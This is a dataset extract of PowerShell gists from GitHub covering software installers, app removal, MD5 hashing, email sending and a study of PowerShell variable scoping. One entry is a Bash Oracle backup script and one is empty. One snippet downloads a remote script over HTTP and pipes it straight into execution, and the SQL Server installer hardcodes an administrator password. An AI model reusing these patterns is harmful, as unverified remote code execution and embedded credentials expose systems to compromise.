full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/GithubGist/erichexter_b0cca2ff2e3ab120cec8_raw_b9214ff0cbd89ee1d5504a1078db5c1417602a87_gistfile1.ps1
erichexter_b0cca2ff2e3ab120cec8_raw_b9214ff0cbd89ee1d5504a1078db5c1417602a87_gistfile1.ps1
function bootstrap-tentacle{ param($username,$password,$environments,$roles) $rolestring="@(""" + ($roles -join """,""") + """)" $environmentstring="@(""" + ($environments -join """,""") + """)" $command = ". c:\redist\configuremachine.ps1;install-tentacle -environments $environmentstring -roles $rolestring" $command | set-content c:\installoctopus.ps1 Write-Host "Starting Tentacle install script:" $a = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy unrestricted -file c:\installoctopus.ps1 > c:\tentacle-install.log" Register-ScheduledTask -TaskName tentacle -RunLevel Highest -User $username -Password $password -Action $a | Start-ScheduledTask do{ Start-Sleep -Seconds 15 $task=Get-ScheduledTask -TaskName tentacle }while($task.State -eq 4) } function Install-Tentacle { param($environments,$roles) Write-Output "Beginning Tentacle installation" Write-Output "Installing MSI" $msiExitCode = (Start-Process -FilePath "msiexec.exe" -ArgumentList "/i c:\redist\octopus.Tentacle.msi /quiet" -Wait -Passthru).ExitCode Write-Output "Tentacle MSI installer returned exit code $msiExitCode" if ($msiExitCode -ne 0) { throw "Installation aborted" } Write-Output "Configuring and registering Tentacle for $environment $roles" cd "${env:ProgramFiles}\Octopus Deploy\Tentacle" & .\tentacle.exe create-instance --instance "Tentacle" --config "${env:SystemDrive}\Octopus\Tentacle\Tentacle.config" --console & .\tentacle.exe configure --instance "Tentacle" --home "${env:SystemDrive}\Octopus" --console & .\tentacle.exe configure --instance "Tentacle" --app "${env:SystemDrive}\Octopus\Applications" --console & .\tentacle.exe New-certificate --instance "Tentacle" --console $args = @("register-with","--instance","Tentacle","--server","https://YOUR_OCTO_SERVER","--apiKey","YOUR_API_KEY","--comms-style","TentacleActive","--force","--console") foreach($role in $roles){ $args+="--role" $args+=$role } foreach($environment in $environments){ $args+="--environment" $args+=$environment } & .\Tentacle.exe $args & .\tentacle.exe service --instance "Tentacle" --install --console }
PowerShellCorpus/GithubGist/cbilson_1309783_raw_9c29a5a52b718ff54efeaef856238d8e979d5ecc_Foo.ps1
cbilson_1309783_raw_9c29a5a52b718ff54efeaef856238d8e979d5ecc_Foo.ps1
task Start-Coffee-Watcher -Description "when a coffee file changes recompile - for testing" { Start-Job -Name "CoffeeWatcher" -ArgumentList "$srcDir\WebRole\scripts" -ScriptBlock { param($scriptsFolder) Write-Host "Watching $scriptsFolder" $recompile = { # TODO: Figure out how to recompile coffee scripts from command line with SassAndCoffee } $scriptsFileSystemWatcher = New-Object io.FileSystemWatcher -Property @{ Path = $scriptsFolder Filter = '*.coffee' IncludeSubdirectories = $true NotifyFilter = [io.NotifyFilters]'FileName, LastWrite' EnableRaisingEvents = $true } $onCreate = Register-ObjectEvent $scriptsFileSystemWatcher Created -SourceIdentifier FileCreated -Action { & $recompile } $onChange = Register-ObjectEvent $scriptsFileSystemWatcher Changed -SourceIdentifier FileChanged -Action { & $recompile } while ($true) { Sleep 100; Get-Event } } } task Stop-Coffee-Watcher { Stop-Job -Name "CoffeeWatcher" }
PowerShellCorpus/GithubGist/whatisinternet_7686349_raw_3bc5de8a09f163bad5ea1b1951e973e34f15c339_metroRemove.ps1
whatisinternet_7686349_raw_3bc5de8a09f163bad5ea1b1951e973e34f15c339_metroRemove.ps1
#---------------------------- # Filename: MetroRemove.ps1 # Author: Josh Teeter # Date: 2013-05-06 # Version: 1.0.0.5 # Purpose: This will remove metro apps based on a list of applications in a file called Crapps.txt #---------------------------- $Diagnostics = 0 $DumpApps = 0 # # Determine how many apps are installed # $packages = Get-AppxPackage $Precount = $packages.Count # # Get the current execution path # $fullPathIncFileName = $MyInvocation.MyCommand.Definition $currentScriptName = $MyInvocation.MyCommand.Name $currentExecutingPath = $fullPathIncFileName.Replace($currentScriptName, "") # # Get the user folder # $desktopFolder = [Environment]::GetFolderPath("MyDocuments") $logFile = $desktopFolder.ToString() + "\log.txt" # # Read the list of apps to remove from the file # $filePath = $currentExecutingPath.ToString() + "Crapps.txt" $strAppsToRemove = Get-Content $filePath.ToString() if ($DumpApps) { $installedAppsFile = $currentExecutingPath.ToString() + "Installed.txt" Get-AppxPackage >> $installedAppsFile } if($Diagnostics){Get-AppxPackage} # # Loop through each line in the file and check if the app exists and then remove the app if it does # foreach ($i in $strAppsToRemove){ if($Diagnostics){write-host "Searching for: " $i} try{ # # Search for the app # $toRemove = Get-AppxPackage | Where-Object {$_.Name -like "*" + $i + "*" } # # Remove said app # Remove-AppxPackage $toRemove.PackageFullName write-host "Removing: " $toRemove }catch{ if($Diagnostics){write-host "Not Found: " $i} }#endTry }#endForEach $packages = Get-AppxPackage $postCount = $packages.Count write-host "" write-host "-----------------------------------------" write-host "" write-host Number of apps before removal: $Precount write-host Number of apps after removal: $postCount write-host Number of apps removed: ($Precount - $postCount) $AppsRemoved = ($Precount - $postCount) $DateandTime = Get-Date -format yyyy-M-d echo "Number of modern applications removed: $AppsRemoved"| Out-File -Encoding "UTF8" $logFile -Append
PowerShellCorpus/GithubGist/rysstad_d0b9999863683366eadd_raw_5913f5d21cfc1f04ca85383b2a5d332050c09093_New-TempFileName.ps1
rysstad_d0b9999863683366eadd_raw_5913f5d21cfc1f04ca85383b2a5d332050c09093_New-TempFileName.ps1
# Create name and path for a tempfile [System.IO.Path]::GetTempFileName()
PowerShellCorpus/GithubGist/johnmiller_a9f2b18bceed19c172a0_raw_ca4da8e8b634d946d31d36e50a465e5c53ccaf6b_random%20powershell%20commands.ps1
johnmiller_a9f2b18bceed19c172a0_raw_ca4da8e8b634d946d31d36e50a465e5c53ccaf6b_random%20powershell%20commands.ps1
# running commands iex 'myprogram.exe myarg' # Invoke-Expression, alias iex & '"myprogram.exe" "myarg"' # use & when using quotes # download and install PsGet (new-object Net.WebClient).DownloadString("http://psget.net/GetPsGet.ps1") | iex Install-Module PsReadLine
PowerShellCorpus/GithubGist/writeameer_675207_raw_6fcac5dc175379f135b5540f9c02e56bcd8ba315_git_install_windows.ps1
writeameer_675207_raw_6fcac5dc175379f135b5540f9c02e56bcd8ba315_git_install_windows.ps1
# Set download URLs $git_download_url = "http://msysgit.googlecode.com/files/PortableGit-1.7.3.1-preview20101002.7z" $7zip_download_url = "http://downloads.sourceforge.net/sevenzip/7za465.zip" # Create Software folder $software_folder = "$env:SystemDrive\software" mkdir -force $software_folder # Create temp folder $temp_folder = "$env:userprofile\temp\install_git" if (test-path("$temp_folder")) {ri -r -force "$temp_folder"} mkdir -force $temp_folder cd $temp_folder # Download Portable Git and 7zip required to extract portable git $wc = new-object System.Net.WebClient $wc.DownloadFile($git_download_url,"$temp_folder\" + $git_download_url.Split("/")[-1]) $wc.DownloadFile($7zip_download_url,"$temp_folder\" + $7zip_download_url.Split("/")[-1]) # Install 7-zip (just unzipping file to a 7zip folder) if (test-path("$software_folder\7zip")) {ri -r -force "$software_folder\7zip"} mkdir "$software_folder\7zip" $shell_app=new-object -com shell.application $zip_file = $shell_app.namespace("$temp_folder\7za465.zip") $destination =$shell_app.namespace("$software_folder\7zip") $destination.Copyhere($zip_file.items()) # Add 7zip to path [Environment]::SetEnvironmentVariable("PATH","$env:path;$software_folder\7zip","MACHINE") $env:path = "$env:path;$software_folder\7zip" # Install Portable Git $git_archive = $git_download_url.Split("/")[-1] if (test-path("$software_folder\git")) {ri -r -force "$software_folder\git"} mkdir -force "$software_folder\git" & "7za" x -y "-o$software_folder\git" "$temp_folder\$git_archive" # Add git to path and reload path [Environment]::SetEnvironmentVariable("PATH","$env:path;$software_folder\git\bin","MACHINE") $env:path = "$env:path;$software_folder\git\bin" # Remove temp folder cd c:\ ri -r -force "$temp_folder" # Display git help cls git help
PowerShellCorpus/GithubGist/ranniery_65ea5b584599e198b967_raw_ce7d1ab889c7e259f43e729d1862c5d291312101_Generate-md5.ps1
ranniery_65ea5b584599e198b967_raw_ce7d1ab889c7e259f43e729d1862c5d291312101_Generate-md5.ps1
########################### # Ranniery Holanda # # [email protected] # # @_ranniery # # 07/08/2014 # ########################### # Generate-md5.ps1 # ########################### function Generate-md5 { param( [Parameter(Mandatory=$true)] [String]$Value ) process { $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($value))) ($hash.Replace("-","")).ToLower() } }
PowerShellCorpus/GithubGist/robie2011_0a21ecb52561d196d5fe_raw_a65e8e912ed9024dc33ee776731af4ff39df53e0_Install-SQL2008R2.ps1
robie2011_0a21ecb52561d196d5fe_raw_a65e8e912ed9024dc33ee776731af4ff39df53e0_Install-SQL2008R2.ps1
<# .SYNOPSIS Install SQL2008R2 Server .DESCRIPTION use Switches to install SQL Server Features easy and silently .PARAMETER instanceName Name of SQL Instance .PARAMETER useGerman Install German Version of SQL Server (Managementstudio) .PARAMETER installOnly Use this parameter to only install Managementstudio or SQL Engine .EXAMPLE Install-SQL2008R2.ps1 -installOnly SQLEngine -useGerman .Notes File Name : Install-SQL2008R2.ps1 Author : Robert Rajakone Date : 05. September 2013 #> param( [string] $instanceName="SQL2008R2", [switch] $useGermanVersion, [ValidateSet('SQLEngine', 'ManagementStudio')] [string] $installOnly ) #Changing to germany regional settings if($useGermanVersion){ Start-Process -Wait -ArgumentList @("/c", "\\DOS-Scripts\change_locale_de-DE.bat") -FilePath cmd.exe } #Switching Installer depending on Language $Installer = "\\software\SQL Server Express Edition 2008R2\SQLEXPRADV_x64_ENU\setup.exe" if($useGermanVersion){ $Installer = "\\software\SQL Server Express Edition 2008R2\SQLEXPRADV_x64_DEU.exe" } # Gathering Features $Features = @() if($installOnly){ if($installOnly.equals("SQLEngine") ){ $Features +="SQLEngine" $Features +="FullText" } if($installOnly.equals("ManagementStudio") ){ $Features +="SSMS" } }else{ $Features +="SSMS" $Features +="RS" $Features +="SQLEngine" $Features +="FullText" } $FeatureList = $Features -join "," $Args = @( "/ACTION=Install" "/IACCEPTSQLSERVERLICENSETERMS" "/ERRORREPORTING=0" "/FEATURES=$FeatureList" "/INSTANCENAME=$instanceName" "/QS" "/SAPWD=secret-sa-password" "/SECURITYMODE=SQL" "/ADDCURRENTUSERASSQLADMIN" "/RSINSTALLMODE=`"FilesOnlyMode`"" ) #Check for Drive D if(gwmi win32_volume -Filter "DriveType=3 AND DriveLetter='D:'"){ Write-Host "D-Drive found. Installing on D" $Args +="/INSTANCEDIR=`"D:\Programme\SQL2008R2\INSTANCE_SQL2008R2`"" } #Do Installing Write-Host "Using the folling Parameter for installing ..." $Args | %{ Write-Host $_ } Start-Process -Wait -FilePath $Installer -ArgumentList $Args #Changing back to swiss regional settings if($useGermanVersion){ Start-Process -Wait -ArgumentList @("/c", "\\DOS-Scripts\change_locale_de-CH.bat") -FilePath cmd.exe } Write-Host "Installation finish!"
PowerShellCorpus/GithubGist/dfinke_5659023_raw_ff7086b971dfc46575b46489e0b96926f1545013_myise.ps1
dfinke_5659023_raw_ff7086b971dfc46575b46489e0b96926f1545013_myise.ps1
function MyISE { param($File) if(!(Test-path $File)) { New-Item -name $File -itemtype "file" } ise $file }
PowerShellCorpus/GithubGist/wictorwilen_e9baad3d405b2d790ad4_raw_bfa35b689bffaa4806b2340413fef4f4b917c804_secure-channel-logging.ps1
wictorwilen_e9baad3d405b2d790ad4_raw_bfa35b689bffaa4806b2340413fef4f4b917c804_secure-channel-logging.ps1
# http://support.microsoft.com/kb/260729 # 0x0000 0 Do not log # 0x0001 1 Log error messages # 0x0002 2 Log warnings # 0x0004 4 Log informational and success events Set-ItemProperty HKLM:\System\CurrentControlSet\Control\SecurityProviders\SCHANNEL -Name "EventLogging" -Value "4" Write-Host -ForegroundColor Red "You need to reboot the server" Restart-Computer -Confirm
PowerShellCorpus/GithubGist/ziembor_6978593_raw_f2eba8e0bf72a244cd089233d7919e7d76bad39e_zb-out-voice-lang-pl.ps1
ziembor_6978593_raw_f2eba8e0bf72a244cd089233d7919e7d76bad39e_zb-out-voice-lang-pl.ps1
function Out-Speech {param($text,$lang) if($text -eq $null) {$text = 'null'} if($lang -eq $null) {$lang = 'en-US'} [Reflection.Assembly]::LoadWithPartialName('System.Speech') | Out-Null $object = New-Object System.Speech.Synthesis.SpeechSynthesizer $voices = $object.GetInstalledVoices()| select -ExpandProperty VoiceInfo| where {$_.Culture -eq $lang} [string]$voice = ($voices | get-random).Name $object.SelectVoice($voice) $object.Speak($text) }
PowerShellCorpus/GithubGist/safwank_2939779_raw_149a7b17d18d62ca5abe8b67130611ad08eb58e0_InstanceSpinner.ps1
safwank_2939779_raw_149a7b17d18d62ca5abe8b67130611ad08eb58e0_InstanceSpinner.ps1
param([string]$operation, [string]$secretKeyId, [string]$secretAccessKeyId, [string[]]$instanceIds) Add-Type -Path ".\AWSSDK.dll" function StartInstances() { $ec2Client = CreateEC2Client $request = New-Object -TypeName Amazon.EC2.Model.StartInstancesRequest $request.InstanceId = GetInstancesFromParameterList $response = $ec2Client.StartInstances($request) } function StopInstances() { $ec2Client = CreateEC2Client $request = New-Object -TypeName Amazon.EC2.Model.StopInstancesRequest $request.InstanceId = GetInstancesFromParameterList $response = $ec2Client.StopInstances($request) } function CreateEC2Client() { $ec2Client = [Amazon.AWSClientFactory]::CreateAmazonEC2Client($secretKeyId, $secretAccessKeyId) $ec2Client } function GetInstancesFromParameterList() { $instances = New-Object -TypeName System.Collections.Generic.List[string] foreach ($instanceId in $instanceIds) { $instances.Add($instanceId) } ,$instances } if ($operation -eq "start") { StartInstances } elseif ($operation -eq "stop") { StopInstances }
PowerShellCorpus/GithubGist/nickdelany_b3c9d675ff2a0c295aa2_raw_ea9c4c78dab8d083b9462c2b736ca7a3bcd3090d_snippets.ps1
nickdelany_b3c9d675ff2a0c295aa2_raw_ea9c4c78dab8d083b9462c2b736ca7a3bcd3090d_snippets.ps1
# Powershell version $PSVersionTable.psversion # find files get-childitem -recurse -include *pattern* | format-table Fullname get-childitem -recurse -include *pattern* | select Fullname, length # grep select-string *file pattern* -pattern "text" [-CaseSensitive] # wc -l get-content *file pattern* | measure-object -line
PowerShellCorpus/GithubGist/omardelrio_6430400_raw_9a5462efb6722a01cc5f9c94663014775a2f416e_gistfile1.ps1
omardelrio_6430400_raw_9a5462efb6722a01cc5f9c94663014775a2f416e_gistfile1.ps1
# If Posh-Git environment is defined, load it. if (test-path env:posh_git) { . $env:posh_git }
PowerShellCorpus/GithubGist/guitarrapc_e8daeb96abca368a7acf_raw_4797229b2bb8c43a2353922151949ea12cf866ed_New-Empty.ps1
guitarrapc_e8daeb96abca368a7acf_raw_4797229b2bb8c43a2353922151949ea12cf866ed_New-Empty.ps1
function New-Empty ([string]$type) { $def = @" public static System.Collections.Generic.IEnumerable<$type> Empty() { System.Collections.Generic.IEnumerable<$type> empty = System.Linq.Enumerable.Empty<$type>(); return empty; } "@ try { $name = [guid]::NewGuid().Guid -replace '-','' $empty = Add-Type -MemberDefinition $def -name $name -passThru return @($empty::Empty()) } catch { } }
PowerShellCorpus/GithubGist/justFen_2568488_raw_0b29733810856b045d30ae569a378288233cebd3_emailfunction.ps1
justFen_2568488_raw_0b29733810856b045d30ae569a378288233cebd3_emailfunction.ps1
$smtp = "nice.smtp.server.brok" $from = "[email protected]" $to = "[email protected]" $subject = "Interesting subject~!" $body = "Nice Curves!" Send-Mailmessage -SmtpServer $smtp -From $from -To $to -Subject $subject -Body $body
PowerShellCorpus/GithubGist/iacosta_3169928_raw_1d349dda2ecca8cbad673e16ae6e145a8e07cfc0_gistfile1.ps1
iacosta_3169928_raw_1d349dda2ecca8cbad673e16ae6e145a8e07cfc0_gistfile1.ps1
#!/bin/bash # Script de copias de seguridad (DATAPUMP) Base de datos # Autor = IVAN ACOSTA export PATH=$PATH:/usr/local/bin:/bin:/usr/bin echo "***********************************************" echo "*Backup Database Inicializando *" echo "***********************************************" echo "Fecha:`date "+%Y-%m-%d %k:%M:%S"` ............." echo "***********************************************" echo "***********************************************" echo "* Verifica la disponibilidad de los SID's *" echo "***********************************************" # Verifica el parametro recibido debe ser igual que el ORACLE_SID if [[ $# -eq 0 ]] then echo "Database name argument is missing" exit 1 fi export ORA_SID_LOWER=`/bin/echo $1 | /usr/bin/tr "[:upper:]" "[:lower:]"` export ORA_SID_UPPER=`/bin/echo $1 | /usr/bin/tr "[:lower:]" "[:upper:]" ` export ORA_INSTANCE=$ORA_SID_UPPER # Verifica la disponibilidad de la Base de datos. DBVERIFY=`ps -ef | grep ora_pmon_$ORA_SID_UPPER | grep -v 'grep' | wc -l` if [ $DBVERIFY = "0" ]; then echo "Base de datos con nombre $ORA_SID_UPPER no esta arriba" exit 1 else echo "Base de datos con nombre $ORA_SID_UPPER se encuentra arriba" fi echo "================================================" echo "***********************************************" echo "* Exporta Variables de Entorno ............ *" echo "***********************************************" export NLS_LANG="AMERICAN_AMERICA.AL32UTF8" export BACKUP_HOME=/home/oracle/rman_backup_scripts export DMP_HOME="/u03/oradata/datapump/$ORACLE_SID" export ORACLE_HOME=/u01/app/oracle/product/11.2.0 ORAENV_ASK=NO; export ORAENV_ASK ORACLE_SID=$ORA_INSTANCE; export ORACLE_SID echo $ORACLE_SID source /usr/local/bin/oraenv export WEEKDAY=`/bin/date +%A` export WEEKDAY=`/bin/echo $WEEKDAY | /usr/bin/tr "[:lower:]" "[:upper:]" ` find ${DMP_HOME} -mtime +1 -name "*.dmp" -exec rm -Rf {} \; find ${DMP_HOME} -mtime +1 -name "*.log" -exec rm -Rf {} \; export NLS_LANG="LATIN AMERICAN SPANISH_AMERICA.WE8ISO8859P1" export FECHA=`date +%Y-%m-%d_%H-%M-%S` echo "================================================" echo "== Inicio del Proceso..........................=" echo "================================================" echo "***********************************************" expdp system/${PTB}${PTA}${PTC} parfile=$BACKUP_HOME/parfile directory=DATA_PUMP_DIR dumpfile=dump_${ORACLE_SID}_${WEEKDAY}.dmp logfile=${ORACLE_SID}_${WEEKDAY}.log echo "**Proceso Finalizado .....................OK..*" echo "***********************************************" echo "================================================" echo "== Copia a NFS (dmp y log).....................=" echo "================================================" echo "***********************************************" export BACKUP_2="/backups" sudo mount -t nfs server_nfs:/Backup/server_database/${ORACLE_SID} $BACKUP_2 find ${BACKUP_2} -mtime +2 -name "*.dmp" -exec rm -Rf {} \; find ${BACKUP_2} -mtime +2 -name "*.log" -exec rm -Rf {} \; export DB_PATH=$(sqlplus -s /nolog <<EOF conn / as sysdba set head off pagesize 0 feedback off linesize 200 whenever sqlerror exit 1 SELECT directory_path FROM DBA_DIRECTORIES where directory_name like '%DATA_PUMP%'; EOF) cp ${DB_PATH}/dump_${ORACLE_SID}_${WEEKDAY}.dmp ${BACKUP_2} cp ${DB_PATH}/${ORACLE_SID}_${WEEKDAY}.log ${BACKUP_2} sudo umount -t nfs server_nfs:/Backup/server_database/${ORACLE_SID} $BACKUP_2 echo "**Proceso Finalizado .....................OK..*" echo "***********************************************" echo "***********************************************" echo "**Enviando email .............................*" mutt -s "Informe Datapump ${ORACLE_SID}" -a /u03/oradata/datapump/${ORACLE_SID}/${ORACLE_SID}_${WEEKDAY}.log [email protected] < $ORACLE_HOME/scripts/correo_body.txt echo "** Proceso Finalizado .....................OK.*" echo "***********************************************" echo "================================================" echo "== Fin del Proceso.............................=" echo "================================================"
PowerShellCorpus/GithubGist/knjname_33b3d390e870b9c4881e_raw_1b22885f62f3262b903b5249625ebbb73c57285b_UnderstandingPowerShellDynamicScope.ps1
knjname_33b3d390e870b9c4881e_raw_1b22885f62f3262b903b5249625ebbb73c57285b_UnderstandingPowerShellDynamicScope.ps1
$PSVersionTable # Name Value # ---- ----- # PSVersion 4.0 # WSManStackVersion 3.0 # SerializationVersion 1.1.0.1 # CLRVersion 4.0.30319.34209 # BuildVersion 6.3.9600.17090 # PSCompatibleVersions {1.0, 2.0, 3.0, 4.0} # PSRemotingProtocolVersion 2.2 Write-Host "========== function(map, list)" $foo = "FOO" "foo is $foo" # foo is FOO $anotherMapFoo = @{ "foo" = "hoge" } "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is hoge $anotherListFoo = ,"aka" "anotherListFoo is $($anotherListFoo[0])" # anotherMapList is aka function Update-foo($anotherMapFoo, $anotherListFoo) { "foo is $foo" # foo is FOO $foo = "BAR" "foo is $foo" # foo is BAR "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is hoge $anotherMapFoo["foo"] = "fuga" "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is fuga "anotherListFoo is $($anotherListFoo[0])" # anotherMapList is aka $anotherListFoo[0] = "sata" "anotherListFoo is $($anotherListFoo[0])" # anotherMapList is sata } Update-foo $anotherMapFoo $anotherListFoo "foo is $foo" # foo is FOO "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is fuga "anotherListFoo is $($anotherListFoo[0])" # anotherMapList is sata Write-Host "========== nested-function" function outer(){ function inner(){ "Inner" } inner } inner # Error: CommandNotFoundException outer # Inner inner # Error: CommandNotFoundException Write-Host "========== nested-function#2" $foo = "FOO" "foo is $foo" # foo is FOO function outer(){ "foo is $foo" # foo is FOO $foo = "BAR" "foo is $foo" # foo is BAR function inner(){ "foo is $foo" # foo is BAR $foo = "BAZ" "foo is $foo" # foo is BAZ } inner "foo is $foo" # foo is BAR } outer "foo is $foo" # foo is FOO Write-Host "========== With-XXX() Function" $foo = "FOO" "foo is $foo" # foo is FOO function With-Foo($foo, $codeBlock){ $codeBlock.Invoke() } With-Foo "hoge" { "foo is $foo" # foo is hoge With-Foo "fuga" { "foo is $foo" # foo is fuga With-Foo "moge" { "foo is $foo" # foo is moge $foo = "mongege" } "foo is $foo" # foo is fuga $foo = "fungege" } "foo is $foo" # foo is hoge $foo = "hongege" } "foo is $foo" # foo is FOO Write-Host "========== if-condition" $foo = "FOO" "foo is $foo" # foo is FOO if( $true ) { $foo = "BAR" "foo is $foo" # foo is BAR } "foo is $foo" # foo is BAR Write-Host "========== & code-block" $foo = "FOO" "foo is $foo" # foo is FOO & { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ } "foo is $foo" # foo is FOO Write-Host "========== . code-block" $foo = "FOO" "foo is $foo" # foo is FOO . { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ } "foo is $foo" # foo is BAZ Write-Host "========== Invoke-Command" $foo = "FOO" "foo is $foo" # foo is FOO Invoke-Command -ScriptBlock { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ } "foo is $foo" # foo is FOO Write-Host "========== Invoke-Command -NoNewScope" $foo = "FOO" "foo is $foo" # foo is FOO Invoke-Command -ScriptBlock { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ } -NoNewScope "foo is $foo" # foo is BAZ Write-Host "========== code-block#Invoke()" $foo = "FOO" "foo is $foo" # foo is FOO { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ }.Invoke() "foo is $foo" # foo is FOO Write-Host "========== code-block.GetNewClosure()" $foo = "FOO" "foo is $foo" # foo is FOO $gnc = { "foo is $foo" # foo is FOO $foo = "BAZ" "foo is $foo" # foo is BAZ }.GetNewClosure() & $gnc "foo is $foo" # foo is FOO Write-Host "========== code-block.GetNewClosure()#2" $myName = "knjname" $gnc = { "My name is ${myName}." } $gnc.Invoke() # My name is knjname. $myName = "usagi-chan" $gnc.Invoke() # My name is usagi-chan. $myName = "knjname" $gnc = { "My name is ${myName}." }.GetNewClosure() $gnc.Invoke() # My name is knjname. $myName = "usagi-chan" $gnc.Invoke() # My name is knjname. Write-Host "========== For-Each %" $foo = "FOO" "foo is $foo" # foo is FOO , 1 | % { "foo is $foo" # foo is FOO $foo = "BOO" "foo is $foo" # foo is BOO } "foo is $foo" # foo is BOO Write-Host "========== For-Each %#2" $foo = "FOO" "foo is $foo" # foo is FOO $cdb = { "foo is $foo" # foo is FOO $foo = "BOO" "foo is $foo" # foo is BOO } , 1 | % $cdb "foo is $foo" # foo is BOO Write-Host "========== Multiple For-Each %" $foo = "FOO" "foo is $foo" # foo is FOO 1,2,3 | % { $foo = "(${foo}" } | % { $foo = "${foo})" } | % { $foo = "<${foo}>" } "foo is $foo" # foo is (((FOO Write-Host "========== Multiple For-Each %#2" $foo = "FOO" "foo is $foo" # foo is FOO 1,2,3 | % { $foo $foo = "(${foo}" } | % { $foo $foo = "${foo})" } | % { $foo $foo = "<${foo}>" } "foo is $foo" # foo is <(<(<(FOO)>)>)> Write-Host "========== Multiple For-Each %#3" $foo = "FOO" "foo is $foo" # foo is FOO 1,2,3 | % { $foo $foo = "(${foo}" } | % { $foo = "${foo})" } | % { $foo $foo = "<${foo}>" } "foo is $foo" # foo is (((FOO))) Write-Host "========== For-Each" $foo = "FOO" "foo is $foo" # foo is FOO foreach ( $hoge in ,1 ){ $foo = "boo" "foo is $foo" # foo is boo } "foo is $foo" # foo is boo Write-Host "========== For-Each (shadowing)" $foo = "FOO" "foo is $foo" # foo is FOO foreach ( $foo in ,1 ){ "foo is $foo" # foo is 1 } "foo is $foo" # foo is 1 Write-Host "========== For-Each (shadowing2)" $foo = "FOO" "foo is $foo" # foo is FOO # foo is 1 # foo is 3 # foo is 4 # foo is 4 # foo is 2 # foo is 3 # foo is 4 # foo is 4 foreach ( $foo in ,1,2 ){ "foo is $foo" foreach ( $foo in ,3,4 ){ "foo is $foo" } "foo is $foo" } "foo is $foo" # foo is 4 Write-Host "========== Pipeline function" $foo = "FOO" "foo is $foo" # foo is FOO function Pipeline($foo) { Begin { "foo is $foo" # foo is FOO $foo = "begin" "foo is $foo" # foo is begin } Process { "foo is $foo" # foo is begin $foo = "process" "foo is $foo" # foo is process } End { "foo is $foo" # foo is process $foo = "end" "foo is $foo" # foo is end } } ,1 | Pipeline "foo is $foo" # foo is FOO Write-Host "========== Where" $foo = "FOO" "foo is $foo" # foo is FOO , 1 | Where { Write-Host "foo is $foo" # foo is FOO $foo = "BOO" Write-Host "foo is $foo" # foo is BOO $false } "foo is $foo" # foo is BOO Write-Host "========== Do-While" $foo = "FOO" "foo is $foo" # foo is FOO do { "foo is $foo" # foo is FOO $foo = "BOO" "foo is $foo" # foo is BOO } while ($false) "foo is $foo" # foo is BOO Write-Host "========== While" $foo = "FOO" "foo is $foo" # foo is FOO while ($true) { "foo is $foo" # foo is FOO $foo = "BOO" "foo is $foo" # foo is BOO break } "foo is $foo" # foo is BOO Write-Host "========== For" function Inside-Loop(){ for ($i = 0; $i -lt 2; $i++) { $i # 0, 1 } } # 0 # 0 # 1 # 0 # 1 # 0 # 1 # 1 for ($i = 0; $i -lt 2; $i++) { $i # 0, 1 Inside-Loop $i # 0, 1 } Write-Host "========== For nested" # 0 # 0 # 0 # 1 # 2 # 2 for ($i = 0; $i -lt 2; $i++) { $i , 1 | % { $i for ($i = 0; $i -lt 2; $i++) { $i } $i } $i } Write-Host "========== my For-Each" Function MyForEach($list, $scriptblock) { for($i = 0; $i -lt $list.Length; $i++){ Invoke-Command -ScriptBlock $scriptblock -ArgumentList $i, $list[$i] } } # 0: a # 1: b # 2: c MyForEach "a", "b", "c" { param($i, $elem) "${i}: ${elem}" } # d # 0: a # 1: b # 2: c # d $elem = "d" $elem MyForEach "a", "b", "c" { param($i, $elem) "${i}: ${elem}" } $elem # d # 0: a # 1: b # 2: c # d $elem = "d" $elem MyForEach "a", "b", "c" { param($i, $element) "${i}: ${element}" $elem = "e" } $elem Write-Host "========== try-catch-finally" $foo = "FOO" "foo is $foo" # foo is FOO try { "foo is $foo" # foo is FOO $foo = "BOO" "foo is $foo" # foo is BOO 1 / 0 } catch [Exception] { "foo is $foo" # foo is BOO $foo = "BAR" "foo is $foo" # foo is BAR } finally { "foo is $foo" # foo is BAR $foo = "BAZ" "foo is $foo" # foo is BAZ } "foo is $foo" # foo is BAZ Write-Host "========== Start-Job" $foo = "FOO" "foo is $foo" # foo is FOO $anotherMapFoo = @{"foo" = "HOGE"} "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is HOGE $job = Start-Job -ScriptBlock { param($anotherMapFoo) "foo is $foo" # foo is $foo = "BAR" "foo is $foo" # foo is BAR "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is HOGE $anotherMapFoo["foo"] = "FUGA" "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is FUGA } -ArgumentList $anotherMapFoo Wait-Job $job Receive-Job $job "foo is $foo" # foo is FOO "anotherMapFoo is $($anotherMapFoo.foo)" # anotherMapFoo is HOGE
PowerShellCorpus/GithubGist/pekeq_6182948_raw_c539afa455a4425f0be936edc1d3b3b6a479336e_Fix-Combined-Character-FileName.ps1
pekeq_6182948_raw_c539afa455a4425f0be936edc1d3b3b6a479336e_Fix-Combined-Character-FileName.ps1
